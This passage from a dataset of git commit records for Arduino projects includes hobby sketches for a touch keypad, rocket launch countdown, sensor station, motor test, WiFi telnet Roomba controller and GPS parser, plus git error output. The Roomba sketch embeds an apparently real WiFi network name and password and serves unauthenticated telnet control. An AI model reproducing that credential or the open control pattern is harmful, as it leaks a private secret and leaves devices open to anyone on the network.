loop()\n{\n while (true)\n {\n\/\/ if (myTouch.dataAvailable())\n\/\/ {\n\/\/ myTouch.read();\n\/\/ x=myTouch.getX();\n\/\/ y=myTouch.getY();\n\/\/ \n\/\/ if ((y>=10) && (y<=60)) \/\/ Upper row\n\/\/ {\n\/\/ if ((x>=10) && (x<=60)) \/\/ Button: 1\n\/\/ {\n\/\/ waitForIt(10, 10, 60, 60);\n\/\/ updateStr('1');\n\/\/ }\n\/\/ if ((x>=70) && (x<=120)) \/\/ Button: 2\n\/\/ {\n\/\/ waitForIt(70, 10, 120, 60);\n\/\/ updateStr('2');\n\/\/ }\n\/\/ if ((x>=130) && (x<=180)) \/\/ Button: 3\n\/\/ {\n\/\/ waitForIt(130, 10, 180, 60);\n\/\/ updateStr('3');\n\/\/ }\n\/\/ if ((x>=190) && (x<=240)) \/\/ Button: 4\n\/\/ {\n\/\/ waitForIt(190, 10, 240, 60);\n\/\/ updateStr('4');\n\/\/ }\n\/\/ if ((x>=250) && (x<=300)) \/\/ Button: 5\n\/\/ {\n\/\/ waitForIt(250, 10, 300, 60);\n\/\/ updateStr('5');\n\/\/ }\n\/\/ }\n\/\/\n\/\/ if ((y>=70) && (y<=120)) \/\/ Center row\n\/\/ {\n\/\/ if ((x>=10) && (x<=60)) \/\/ Button: 6\n\/\/ {\n\/\/ waitForIt(10, 70, 60, 120);\n\/\/ updateStr('6');\n\/\/ }\n\/\/ if ((x>=70) && (x<=120)) \/\/ Button: 7\n\/\/ {\n\/\/ waitForIt(70, 70, 120, 120);\n\/\/ updateStr('7');\n\/\/ }\n\/\/ if ((x>=130) && (x<=180)) \/\/ Button: 8\n\/\/ {\n\/\/ waitForIt(130, 70, 180, 120);\n\/\/ updateStr('8');\n\/\/ }\n\/\/ if ((x>=190) && (x<=240)) \/\/ Button: 9\n\/\/ {\n\/\/ waitForIt(190, 70, 240, 120);\n\/\/ updateStr('9');\n\/\/ }\n\/\/ if ((x>=250) && (x<=300)) \/\/ Button: 0\n\/\/ {\n\/\/ waitForIt(250, 70, 300, 120);\n\/\/ updateStr('0');\n\/\/ }\n\/\/ }\n\/\/\n\/\/ if ((y>=130) && (y<=180)) \/\/ Upper row\n\/\/ {\n\/\/ if ((x>=10) && (x<=150)) \/\/ Button: Clear\n\/\/ {\n\/\/ waitForIt(10, 130, 150, 180);\n\/\/ stCurrent[0]='\\0';\n\/\/ stCurrentLen=0;\n\/\/ myGLCD.setColor(0, 0, 0);\n\/\/ myGLCD.fillRect(0, 224, 319, 239);\n\/\/ }\n\/\/ if ((x>=160) && (x<=300)) \/\/ Button: Enter\n\/\/ {\n\/\/ waitForIt(160, 130, 300, 180);\n\/\/ if (stCurrentLen>0)\n\/\/ {\n\/\/ for (x=0; x<stCurrentLen+1; x++)\n\/\/ {\n\/\/ stLast[x]=stCurrent[x];\n\/\/ }\n\/\/ stCurrent[0]='\\0';\n\/\/ stCurrentLen=0;\n\/\/ myGLCD.setColor(0, 0, 0);\n\/\/ myGLCD.fillRect(0, 208, 319, 239);\n\/\/ myGLCD.setColor(0, 255, 0);\n\/\/ myGLCD.print(stLast, LEFT, 208);\n\/\/ }\n\/\/ else\n\/\/ {\n\/\/ myGLCD.setColor(255, 0, 0);\n\/\/ myGLCD.print(\"BUFFER EMPTY\", CENTER, 192);\n\/\/ delay(500);\n\/\/ myGLCD.print(\" \", CENTER, 192);\n\/\/ delay(500);\n\/\/ myGLCD.print(\"BUFFER EMPTY\", CENTER, 192);\n\/\/ delay(500);\n\/\/ myGLCD.print(\" \", CENTER, 192);\n\/\/ myGLCD.setColor(0, 255, 0);\n\/\/ }\n\/\/ }\n\/\/ }\n\/\/ }\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Lunohod_display\/Lunohod_display.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"9a4bb8c05fd437be8deed62f44efc1515d5c17f4","subject":"1. Included Adafruit_NeoPixel library header in the main program. 2. Updated line endings for the Arduino-PID-Library to Windows (CRLF).","message":"1. Included Adafruit_NeoPixel library header in the main program.\n2. Updated line endings for the Arduino-PID-Library to Windows (CRLF).\n","repos":"PhantomGrazzler\/02-Single-DOF-Platform,PhantomGrazzler\/02-Single-DOF-Platform","old_file":"DCMotorSpeedControl\/DCMotorSpeedControl.ino","new_file":"DCMotorSpeedControl\/DCMotorSpeedControl.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/PhantomGrazzler\/02-Single-DOF-Platform.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"8a3bed566097efcced99d9797522e6fc36269e4f","subject":"Programma stazione terra (In via di sviluppo)","message":"Programma stazione terra (In via di sviluppo)","repos":"IcarusFlyTeam\/Rhino","old_file":"SelezioneWithButtons.ino","new_file":"SelezioneWithButtons.ino","new_contents":"#include <CtrlStick.h>\n#include <TM1637Display.h>\n#include <LiquidCrystal_I2C.h>\n#include <Wire.h>\n#define tempoMinimo 5 \/\/Tempo minimo prima di accendere\n#define CLK 52\n#define DIO 53\n#define coorX A0\n#define coorY A1 \n#define sendPin 22 \/\/Pulsante Send\n#define safePin 30 \/\/ToggleButton di sicurezza\nTM1637Display display(CLK, DIO); \/\/Inizializzo il clock\nLiquidCrystal_I2C lcd(0x27,16,2); \/\/Inizializzo lo schermo\nCtrlStick stick(A0,A1);\n\nvoid setup() {\n Serial.begin(9600); \n lcd.begin();\n lcd.backlight();\n pinMode(sendPin, INPUT);\n pinMode(safePin, INPUT);\n}\n\nvoid loop() {\n bool keepUp=true;\n while(keepUp){\n lcd.clear();\n lcd.blink();\n lcd.cursor();\n display.showNumberDec(0);\n display.setBrightness(0,false); \/\/Spengo lo schermo dell'orologio \n keepUp=mainMenu();\n }\n while(1){}\n}\nbool mainMenu(){\n bool t=true;\n char temp; \/\/Variabile temporanea\n Serial.println(\"Scegli il progetto\");\n Serial.println(\"1)Test su rampa \");\n Serial.println(\"2)Lancio del razzo\");\n lcd.print(\"Scegli progetto\");\n lcd.setCursor(0,1);\n lcd.print(\"[1]Test\");\n lcd.print(\"[2]Lancio\");\n while(!Serial.available()){ \/\/Aspetto che venga messo un input\n } \n temp=Serial.read();\n switch(temp){\n case '1': \/\/Programma test con rampa\n menuTest();\n t=check();\n break;\n case '2':\n menuLancio(); \/\/Programma test di lancio \n t=check(); \n break;\n default:\n Serial.println(\"Nope\");\n break;\n }\n return t;\n \n \n}\nvoid menuTest(){ \/\/Menu che si apre se scelgo il progetto test\n lcd.clear();\n lcd.print(\"Progetto rampa\");\n Serial.println(\"Hai selezionato il progetto rampa\");\n delay(1000);\n sequenzaLancio(); \n}\n\nvoid menuLancio(){ \/\/Menu che si apre se scelgo il progetto lancio\n lcd.clear();\n lcd.print(\"Progetto lancio\");\n Serial.println(\"Hai selezionato il progetto lancio\");\n delay(1000);\n sequenzaLancio();\n}\n\nvoid sequenzaLancio(){ \/\/Ho impostato il tempo minimo di lancio a 5 secondi, penso sia una precauzione necessaria \n int time;\n time=adjTime();\n if(!safeButton()){\n lcd.clear();\n lcd.print(\"Armare\");\n Serial.println(\"Armare il meccanismo\");\n }\n while(!safeButton()){\n }\n lcd.clear();\n lcd.print(\"Conto alla\");\n lcd.setCursor(0,1);\n lcd.print(\"rovescia\"); \n for(;time>0;time--){\n display.showNumberDec(time);\n Serial.println(time);\n \n delay(1000);\n }\n display.showNumberDec(0);\n display.setBrightness(0,false);\n lancio();\n}\n\nvoid lancio(){\n int i;\n Serial.println(\"Lancio!\");\n lcd.clear();\n lcd.print(\"Lancio!\"); \/\/Da modificiare in modo che mostri dei dati\n}\n\nbool check(){ \/\/Parte del programma per tornare all'inizio\n bool c=false;\n Serial.println(\"Vuoi tornare al menu di selezione?(Y\/N)\");\n while(!Serial.available()){\n }\n if(Serial.read()=='Y'){\n c=true;\n }\n else{\n c=false;\n }\n return c;\n}\n\nint adjTime(){ \/\/Schermata di selezione del tempo, pu\u00f2 essere fatta sia inviando un numero da tastiera che selezionando il tempo tramite joystick\n int t=4;\n char p;\n bool c=false;\n lcd.clear();\n lcd.print(\"Seleziona il\");\n lcd.setCursor(0,1);\n lcd.print(\"delay pre-lancio\");\n while(c == false){\n Serial.println(\"Inserire il delay prima del lancio(Minimo 5 secondi)\");\n p=stick.pos();\n while((!Serial.available()) && (p != 'u') && (p != 'd')){\n p=stick.pos();\n if(sendButton() && t>= tempoMinimo){\n c=true;\n return t;\n }\n }\n if(p != 'u' && p != 'd'){\n t=Serial.parseInt();\n if(t >=tempoMinimo){\n c=true; \n }\n }\n \n else{\n display.setBrightness(7,true);\n display.showNumberDec(t); \n switch(p){\n case 'u':\n t++;\n break;\n case 'd':\n if(t>tempoMinimo){\n t--;\n }\n break;\n }\n display.showNumberDec(t);\n }\n }\n return t;\n}\nbool sendButton(){ \/\/Pulsante per confermare le scelte\n int buttonState=0;\n buttonState=digitalRead(sendPin);\n if(buttonState==HIGH){\n return true;\n }\n else\n return false;\n}\nbool safeButton(){ \/\/Pulsante di sicurezza\n int buttonState=0;\n buttonState=digitalRead(safePin);\n if(buttonState==HIGH){\n return true;\n }\n else{\n return false;\n }\n}\n\n\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'SelezioneWithButtons.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"417b07d581521e19d9b6f4b7953f19f5502e8d20","subject":"Moved Arduino sketch to folder","message":"Moved Arduino sketch to folder\n","repos":"IPSW1\/RasPi_Station,IPSW1\/RasPi_Station,IPSW1\/RasPi_Station","old_file":"arduino\/sensor\/sensor.ino","new_file":"arduino\/sensor\/sensor.ino","new_contents":"#include <Wire.h>\n#include <SoftwareSerial.h>\n#include <OneWire.h>\n#include <DallasTemperature.h>\n#include <dht.h>\n#include <Adafruit_Sensor.h>\n#include <Adafruit_BMP085_U.h>\n#include <LowPower.h>\n\n\/* Datapins for DS18B20, DHT22 and software serial\nThe BMP180 must be connected to the I2C interface *\/\n#define ONE_WIRE_PIN 9 \/\/DS18B20\n#define DHT22_PIN 6 \/\/DHT22\n#define softSer_RX 10 \/\/SoftwareSerial RX\n#define softSer_TX 11 \/\/SoftwareSerial TX\n\n\/\/Create entitis for the sensors and the software serial interface\nOneWire oneWire(ONE_WIRE_PIN);\nDallasTemperature sensors(&oneWire);\ndht DHT;\nAdafruit_BMP085_Unified bmp = Adafruit_BMP085_Unified(10085);\nSoftwareSerial bluetooth(softSer_RX, softSer_TX);\n\n\nvoid setup(){\n \/\/Start software serial with 9600 baud\n bluetooth.begin(9600);\n\n \/\/Initialize the BMP180\n bmp.begin();\n sensor_t sensor;\n bmp.getSensor(&sensor);\n sensors.begin();\n}\n\nvoid loop(){ \n \/\/Read temperature (DS18S20) \n sensors.requestTemperatures();\n \n \/\/Read humidity (DHT22)\n uint32_t start = micros();\n int chk = DHT.read22(DHT22_PIN);\n uint32_t stop = micros();\n\n \/\/Read pressure (BMP180)\n sensors_event_t event;\n bmp.getEvent(&event);\n \n \/\/Write data to the bluetooth module\n bluetooth.print(sensors.getTempCByIndex(0), 1);\n bluetooth.print(\";\");\n bluetooth.print(DHT.humidity, 1);\n bluetooth.print(\";\");\n bluetooth.print(event.pressure);\n bluetooth.println();\n \n \/\/Sleep for 10 minutes\n sleep();\n}\n\nvoid sleep() {\n for (int i = 0; i < 75; i++) {\n LowPower.powerDown(SLEEP_8S, ADC_OFF, BOD_OFF); \n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/sensor\/sensor.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"18b09cc02be9d6e103d2cbd66400e6af6b346e71","subject":"Disables second led strip as it is not connected yet.","message":"Disables second led strip as it is not connected yet.\n","repos":"bassjansson\/vera,bassjansson\/vera,bassjansson\/vera,bassjansson\/vera","old_file":"room\/arduino\/energy\/energy.ino","new_file":"room\/arduino\/energy\/energy.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/bassjansson\/vera.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"8ef3a3ec6a8992322862ad64a077fbd8e7a88639","subject":"Opraveny koment\u00e1\u0159e","message":"Opraveny koment\u00e1\u0159e","repos":"lesves\/GJK-Watering","old_file":"GJK-Watering.ino","new_file":"GJK-Watering.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/lesves\/GJK-Watering.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"f989e1ba4de410f5c9e903eb73c023efc137df03","subject":"test code for one wheel","message":"test code for one wheel\n\narduino","repos":"MarsRobotics\/Experiments,MarsRobotics\/Experiments,MarsRobotics\/Experiments,MarsRobotics\/Experiments","old_file":"runMotorTest.ino","new_file":"runMotorTest.ino","new_contents":"unsigned char wheelID[15] = {133, 132, 131, 130, 129, 128, \/\/Drive motors\r\n 133, 132, 131, 130, 129, 128, \/\/articulation motors\r\n 134, 0, 134}; \/\/Misc motors\r\nconst int wheelPinType[15] = {1, 1, 1, 1, 1, 1,\r\n 2, 2, 2, 2, 2, 2,\r\n 2, 1, 1};\r\n\r\nboolean wheelDirection[15] = {false, true, false, true, false, false, \/\/Drive motors\r\n false, true, false, true, true, false, \/\/articulation motors\r\n true, true, false}; \/\/Misc motors\r\n\r\ndouble wheelCorectFactor[15] = {1.11, 1.20, 1.12, 1.07, 1.05, 1.07, \/\/Drive motors\r\n 2.00, 1.15, 1.30, 1.15, 1.10, 1.20, \/\/articulation motors\r\n 1.0, 1.0, 1.0}; \/\/Misc motors\r\n\r\nboolean FORWARD = true; \/\/Clockwise rotation\r\nboolean BACKWARD = false; \/\/Counter-Clockwise rotation\r\n\/\/These need special ints to control moter rotations\r\nconst int FORWARD_DRIVE = 1; \/\/Clockwise rotation for drive wheels\r\nconst int BACKWARD_DRIVE =0; \/\/Counter-Clockwise rotation for drive wheels\r\nconst int FORWARD_ART = 4; \/\/Clockwise rotation for articulation wheels\r\nconst int BACKWARD_ART =5; \/\/Counter-Clockwise rotation for articulation wheels\r\nboolean ardCancel = false;\r\n\r\nvoid setup() {\r\n Serial.begin(38400);\r\n \r\n}\r\n\r\nvoid loop(){\r\n runMotor(128, true, 30); \r\n}\r\n\r\nvoid runMotor(int ID, int commandInt, int tempSpeed){ \/\/=====================================================================================================\r\n \/\/If we are Paused or canceled, do not allow any Motor to run, only stop motor\r\n if(ardCancel == true && tempSpeed != 0){return;}\r\n \/\/if(ardPause && tempSpeed != 0){return;}\r\n\r\n \/\/int speed = tempSpeed;\r\n\/\/ if(wheelPinType[ID] == 2){\r\n\/\/ speed = 255 - tempSpeed;\r\n\/\/ }\r\n \r\n unsigned char address = wheelID[ID];\r\n unsigned char command;\r\n \/\/reverse the wheels direction if need be\r\n if(wheelPinType[ID] == 1){\r\n \/\/Move Drive Motor\r\n if((wheelDirection[ID] == true && commandInt == FORWARD) || \r\n (wheelDirection[ID] == false && commandInt == BACKWARD)){\r\n \/\/Drive FORWARD (Clockwise)\r\n command = (char)FORWARD_DRIVE;\r\n }\r\n else if ((wheelDirection[ID] == true && commandInt == BACKWARD) ||\r\n (wheelDirection[ID] == false && commandInt == FORWARD)){\r\n \/\/Drive Backward (Counter-Clockwise)\r\n command = (char)BACKWARD_DRIVE;\r\n }\r\n \r\n }\r\n else if(wheelPinType[ID] == 2){\r\n \/\/Move Articulation Motor\r\n if((wheelDirection[ID] == true && commandInt == FORWARD) || \r\n (wheelDirection[ID] == false && commandInt == BACKWARD)){\r\n \/\/Art. FORWARD (Clockwise)\r\n command = (char)FORWARD_ART;\r\n }\r\n else if ((wheelDirection[ID] == true && commandInt == BACKWARD) || \r\n (wheelDirection[ID] == false && commandInt == FORWARD)){\r\n \/\/Art. Backward (Counter-Clockwise)\r\n command = (char)BACKWARD_ART;\r\n }\r\n }\r\n\r\n \/\/adjust speed for corection factor\r\n int speed = (int)(tempSpeed*wheelCorectFactor[ID]);\r\n if(speed > 127){\r\n speed = 127;\r\n \/\/ msg2user(\"Error: Motor #\" + (String)(ID) + \" has been given a speed greater than allowed, motor was slown down to it's max speed \\n\");\r\n }\r\n \r\n \/\/checksum is an important variable\/line of code for moving the motor\r\n unsigned char checksum = (address + command + ((char)speed)) & 0b01111111;\r\n \r\n \/\/ Write to the correct serial packet.\r\n if(wheelPinType[ID] == 1 || wheelPinType[ID] == 2){\r\n \/\/This is the 4 lines of code that ACTUALY moves the motor, do not mess with\r\n Serial.write(address);\r\n Serial.write(command);\r\n Serial.write(((char)speed));\r\n Serial.write(checksum);\r\n }\r\n \/\/so we don't overload any serial buffers\r\n delayMicroseconds(1500);\r\n \/\/if we need to paused, paused\r\n \/\/checkForInterupt(); \/\/ <-- May need this -------------------------------------------------------------------\r\n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'runMotorTest.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"18038e68a5a02e701b6a36731b29ce540d2848ff","subject":"read\/write combination does not work","message":"read\/write combination does not work\n","repos":"MakerLabsVan\/ACM,MakerLabsVan\/ACM,MakerLabsVan\/ACM,MakerLabsVan\/ACM","old_file":"unit tests\/writer_test\/writer_test.ino","new_file":"unit tests\/writer_test\/writer_test.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'unit' did not match any file(s) known to git\nerror: pathspec 'tests\/writer_test\/writer_test.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"1841ba9fa1d784412e52604d9f7d260fde84ddba","subject":"Programmering opgave 02 lektion 3","message":"Programmering opgave 02 lektion 3\n","repos":"drblah\/RoboCup,drblah\/RoboCup","old_file":"Programmerings opgaver\/Opgave02\/Opgave02.ino","new_file":"Programmerings opgaver\/Opgave02\/Opgave02.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Programmerings' did not match any file(s) known to git\nerror: pathspec 'opgaver\/Opgave02\/Opgave02.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"451061ae0fd0806d298c34f84826eba97e371e4f","subject":"Finished code!","message":"Finished code!\n","repos":"gargshobhit90\/Roomba-WiFi","old_file":"roomba_wifi.ino","new_file":"roomba_wifi.ino","new_contents":"\n\/*\n\n WiFi-controlled iRobot Roomba\n \n A simple way to control Roomba using telnet on your WiFi connection. \n \n You can see the client's input in the serial monitor as well.\n\n This example is written for a network using WPA encryption. For\n WEP or WPA, change the Wifi.begin() call accordingly.\n \n Instructions: \n 0. Make sure Roomba is turned off. \n 1. Compile this sketch and run the Serial monitor. Arduino, with\n WiShield, attempts to connect to the specified WiFi network and gets \n an IP address. \n Note: At this point, Arduino and your PC can be disconnected. \n 2. Telnet to your device's IP address.\n 3. Turn on Roomba. Press ? [return] to check availability.\n 4. Press r to establish Arduino's connection with Roomba.\n 5. Play!\n \n Circuit:\n * WiFi shield attached\n * iRobot Roomba with Create module\n\n created 4 June 2015\n by Shobhit Garg\n modified 6 June 2015\n by Shobhit Garg\n\n *\/\n\n#include <SPI.h>\n#include <WiFi.h>\n#include <SoftwareSerial.h>\n\nchar ssid[] = \"GARG.INC\"; \/\/ your network SSID (name)\nchar pass[] = \"sgarg2000\"; \/\/ your network password (use for WPA, or use as key for WEP)\nint keyIndex = 0; \/\/ your network key Index number (needed only for WEP)\n\nint ledPin = 13; \/\/on Arduino\n\n\/\/For Roomba\nint rxPin = 8; \/\/connect this to Create Pin 2 \nint txPin = 9; \/\/connect this to Create Pin 1\n\n\nSoftwareSerial mySerial(rxPin,txPin);\n\nchar sensorbytes[10];\nint status = WL_IDLE_STATUS;\n\nWiFiServer server(23);\n\nboolean alreadyConnected = false; \/\/ whether or not the client was connected previously\n\nvoid setup() {\n \/\/Initialize serial and wait for port to open:\n Serial.begin(9600);\n while (!Serial) {\n ; \/\/ wait for serial port to connect. Needed for Leonardo only\n }\n \n mySerial.begin(57600);\n digitalWrite(ledPin, HIGH); \/\/ say we're alive\n\n \n \/\/ check for the presence of the shield:\n if (WiFi.status() == WL_NO_SHIELD) {\n Serial.println(\"WiFi shield not present\");\n \/\/ don't continue:\n while (true);\n }\n\n String fv = WiFi.firmwareVersion();\n if ( fv != \"1.1.0\" )\n Serial.println(\"Please upgrade the firmware\");\n\n \/\/ attempt to connect to Wifi network:\n while ( status != WL_CONNECTED) {\n Serial.print(\"Attempting to connect to SSID: \");\n Serial.println(ssid);\n \/\/ Connect to WPA\/WPA2 network. Change this line if using open or WEP network:\n status = WiFi.begin(ssid, pass);\n\n \/\/ wait 10 seconds for connection:\n delay(10000);\n }\n\n \/\/ start the server:\n server.begin();\n \/\/ you're connected now, so print out the status:\n printWifiStatus();\n}\n\nvoid loop() {\n \n \/\/ wait for a new client:\n WiFiClient client = server.available();\n \n \/\/ when the client sends the first byte, say hello:\n if (client) \n {\n if (!alreadyConnected) \n { \n \/\/ clead out the input buffer:\n client.flush();\n Serial.println(\"We have a new client\");\n client.println(\"Hello!\");\n client.println(\"Turn your Roomba on.\");\n client.println(\"Press '?' to check whether Roomba is available.\");\n client.println(\"If available, press r to send start command to it.\");\n client.println(\"We are now ready to play with it!\");\n client.println(\"Directions: \");\n client.println(\" w : forward\");\n client.println(\" s : backward\");\n client.println(\" a : left\");\n client.println(\" d : right\");\n client.println(\" q : stop\");\n client.println(\"Please enter the direction to move in: \");\n \n alreadyConnected = true;\n }\n \n if (client.available() > 0) {\n \/\/ read the bytes incoming from the client:\n char thisChar = client.read();\n\n if(thisChar == '?')\n if(mySerial.available())\n client.println(\"Roomba is available\\n\");\n else\n client.println(\"Roomba is not available\\n\");\n \n \n if(thisChar == 'r')\n {\n client.println (\"Sending start command...\");\n mySerial.write(128); \/\/ START\n delay(1000);\n \n client.println (\"Sending Safe Mode command...\");\n mySerial.write(131); \/\/ CONTROL\n delay(1000);\n \n digitalWrite(ledPin, LOW); \/\/ say we've finished setup\n client.println (\"Ready to go!\");\n delay (1000);\n }\n\n int delaytime = 300; \n \n if(thisChar == 'o')\n {\n updateSensors();\n delay(delaytime);\n client.println(\"Updated sensors\");\n } \n else if(thisChar == 'w')\n {\n goForward();\n delay(delaytime);\n client.println(\"Forward!\\n\");\n }\n else if(thisChar == 's')\n {\n goBackward();\n delay(delaytime);\n client.println(\"Backward!\\n\");\n }\n else if(thisChar == 'a')\n {\n spinLeft();\n delay(delaytime);\n client.println(\"Rotate counter-clockwise\\n\");\n }\n else if(thisChar == 'd')\n {\n spinRight();\n delay(delaytime);\n \/\/Serial.write(\"Asking to go right\\n\");\n client.println(\"Rotate clockwise!\\n\");\n }\n else if(thisChar == 'q')\n {\n stopRoomba();\n delay(delaytime);\n client.println(\"Stop!\\n\"); \n }\n }\n }\n}\n\n\/*\n * WiFi helper functions\n *\n *\/\n\nvoid printWifiStatus() {\n \/\/ print the SSID of the network you're attached to:\n Serial.print(\"SSID: \");\n Serial.println(WiFi.SSID());\n\n \/\/ print your WiFi shield's IP address:\n IPAddress ip = WiFi.localIP();\n Serial.print(\"IP Address: \");\n Serial.println(ip);\n\n \/\/ print the received signal strength:\n long rssi = WiFi.RSSI();\n Serial.print(\"signal strength (RSSI):\");\n Serial.print(rssi);\n Serial.println(\" dBm\");\n}\n\n\/*\n * Roomba control functions\n *\n *\/\n \nvoid goForward() {\n ledBlink(); \/\/ say we're starting \n mySerial.write(137); \/\/ DRIVE\n mySerial.write((byte)0x00); \n mySerial.write(0xc8); \/\/ 0x00c8 == 200\n mySerial.write(0x80); \/\/128\n mySerial.write((byte)0x00); \/\/0\n Serial.print(\"Forward!\");\n}\nvoid goBackward() {\n ledBlink(); \/\/ say we're starting \n mySerial.write(137); \/\/ DRIVE\n mySerial.write(0xff); \/\/ 0xff38 == -200\n mySerial.write(0x38);\n mySerial.write(0x80);\n mySerial.write((byte)0x00);\n}\nvoid spinLeft() {\n mySerial.write(137); \/\/ DRIVE\n mySerial.write((byte)0x00); \/\/ 0x00c8 == 200\n mySerial.write(0xc8);\n mySerial.write((byte)0x00);\n mySerial.write(0x01); \/\/ 0x0001 == spin left\n}\nvoid spinRight() {\n mySerial.write(137); \/\/ DRIVE\n mySerial.write((byte)0x00); \/\/ 0x00c8 == 200\n mySerial.write(0xc8);\n mySerial.write(0xff);\n mySerial.write(0xff); \/\/ 0xffff == -1 == spin right\n}\nvoid stopRoomba() {\n byte j = 0x00;\n ledBlink();\n mySerial.write(137); \/\/ DRIVE\n mySerial.write(j);\n mySerial.write(j);\n mySerial.write(j);\n mySerial.write(j);\n}\nvoid updateSensors() {\n mySerial.write(142);\n mySerial.write(1); \/\/ sensor packet 1, 10 bytes\n delay(100); \/\/ wait for sensors \n char i = 0;\n while(mySerial.available()) {\n int c = mySerial.read();\n if( c==-1 ) {\n Serial.print(\"Error reading sensors\");\n }\n sensorbytes[i++] = c;\n } \n}\n\n\/*\n * Arduino supporting functions\n *\n *\/\n\n\/\/Blinks the LED twice\nvoid ledBlink() {\n digitalWrite(ledPin, HIGH);\n delay(100);\n digitalWrite(ledPin, LOW);\n delay(100);\n digitalWrite(ledPin, HIGH);\n delay(100);\n digitalWrite(ledPin, LOW);\n delay(100); \n}\n","old_contents":"","returncode":128,"stderr":"fatal: invalid reference: FETCH_HEAD^\n","license":"mit","lang":"Arduino"} {"commit":"947dfac7c7f9f4f98d05c2f74e2bcf14f19bfdc3","subject":"gps intermeddiate code","message":"gps intermeddiate code\n\ndisplays required data on serial monitor\n","repos":"ChaitanyaBaweja\/BlackCloud,ChaitanyaBaweja\/BlackCloud","old_file":"Arduino\/ublox GPS\/gpsinter\/gpsinter.ino","new_file":"Arduino\/ublox GPS\/gpsinter\/gpsinter.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/ublox' did not match any file(s) known to git\nerror: pathspec 'GPS\/gpsinter\/gpsinter.ino' did not match any file(s) known to git\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"dd40ff0d9522dd01b4f94cb3e22befa01703c279","subject":"parsingdemo","message":"parsingdemo\n","repos":"adafruit\/Adafruit-GPS-Library","old_file":"examples\/GPS_I2C_Parsing\/GPS_I2C_Parsing.ino","new_file":"examples\/GPS_I2C_Parsing\/GPS_I2C_Parsing.ino","new_contents":"\/\/ Test code for Adafruit GPS That Support Using I2C\n\/\/\n\/\/ This code shows how to parse data from the I2C GPS\n\/\/\n\/\/ Pick one up today at the Adafruit electronics shop\n\/\/ and help support open source hardware & software! -ada\n\n#include <Adafruit_GPS.h>\n\n\/\/ Connect to the GPS on the hardware I2C port\nAdafruit_GPS GPS(&Wire);\n\n\/\/ Set GPSECHO to 'false' to turn off echoing the GPS data to the Serial console\n\/\/ Set to 'true' if you want to debug and listen to the raw GPS sentences\n#define GPSECHO false\n\nuint32_t timer = millis();\n\n\nvoid setup()\n{\n \/\/while (!Serial); \/\/ uncomment to have the sketch wait until Serial is ready\n\n \/\/ connect at 115200 so we can read the GPS fast enough and echo without dropping chars\n \/\/ also spit it out\n Serial.begin(115200);\n Serial.println(\"Adafruit I2C GPS library basic test!\");\n\n \/\/ 9600 NMEA is the default baud rate for Adafruit MTK GPS's- some use 4800\n GPS.begin(0x10); \/\/ The I2C address to use is 0x10\n \/\/ uncomment this line to turn on RMC (recommended minimum) and GGA (fix data) including altitude\n GPS.sendCommand(PMTK_SET_NMEA_OUTPUT_RMCGGA);\n \/\/ uncomment this line to turn on only the \"minimum recommended\" data\n \/\/GPS.sendCommand(PMTK_SET_NMEA_OUTPUT_RMCONLY);\n \/\/ For parsing data, we don't suggest using anything but either RMC only or RMC+GGA since\n \/\/ the parser doesn't care about other sentences at this time\n \/\/ Set the update rate\n GPS.sendCommand(PMTK_SET_NMEA_UPDATE_1HZ); \/\/ 1 Hz update rate\n \/\/ For the parsing code to work nicely and have time to sort thru the data, and\n \/\/ print it out we don't suggest using anything higher than 1 Hz\n\n \/\/ Request updates on antenna status, comment out to keep quiet\n GPS.sendCommand(PGCMD_ANTENNA);\n\n delay(1000);\n\n \/\/ Ask for firmware version\n GPS.println(PMTK_Q_RELEASE);\n}\n\nvoid loop() \/\/ run over and over again\n{\n \/\/ read data from the GPS in the 'main loop'\n char c = GPS.read();\n \/\/ if you want to debug, this is a good time to do it!\n if (GPSECHO)\n if (c) Serial.print(c);\n \/\/ if a sentence is received, we can check the checksum, parse it...\n if (GPS.newNMEAreceived()) {\n \/\/ a tricky thing here is if we print the NMEA sentence, or data\n \/\/ we end up not listening and catching other sentences!\n \/\/ so be very wary if using OUTPUT_ALLDATA and trying to print out data\n Serial.println(GPS.lastNMEA()); \/\/ this also sets the newNMEAreceived() flag to false\n if (!GPS.parse(GPS.lastNMEA())) \/\/ this also sets the newNMEAreceived() flag to false\n return; \/\/ we can fail to parse a sentence in which case we should just wait for another\n }\n \/\/ if millis() or timer wraps around, we'll just reset it\n if (timer > millis()) timer = millis();\n\n \/\/ approximately every 2 seconds or so, print out the current stats\n if (millis() - timer > 2000) {\n timer = millis(); \/\/ reset the timer\n Serial.print(\"\\nTime: \");\n if (GPS.hour < 10) { Serial.print('0'); }\n Serial.print(GPS.hour, DEC); Serial.print(':');\n if 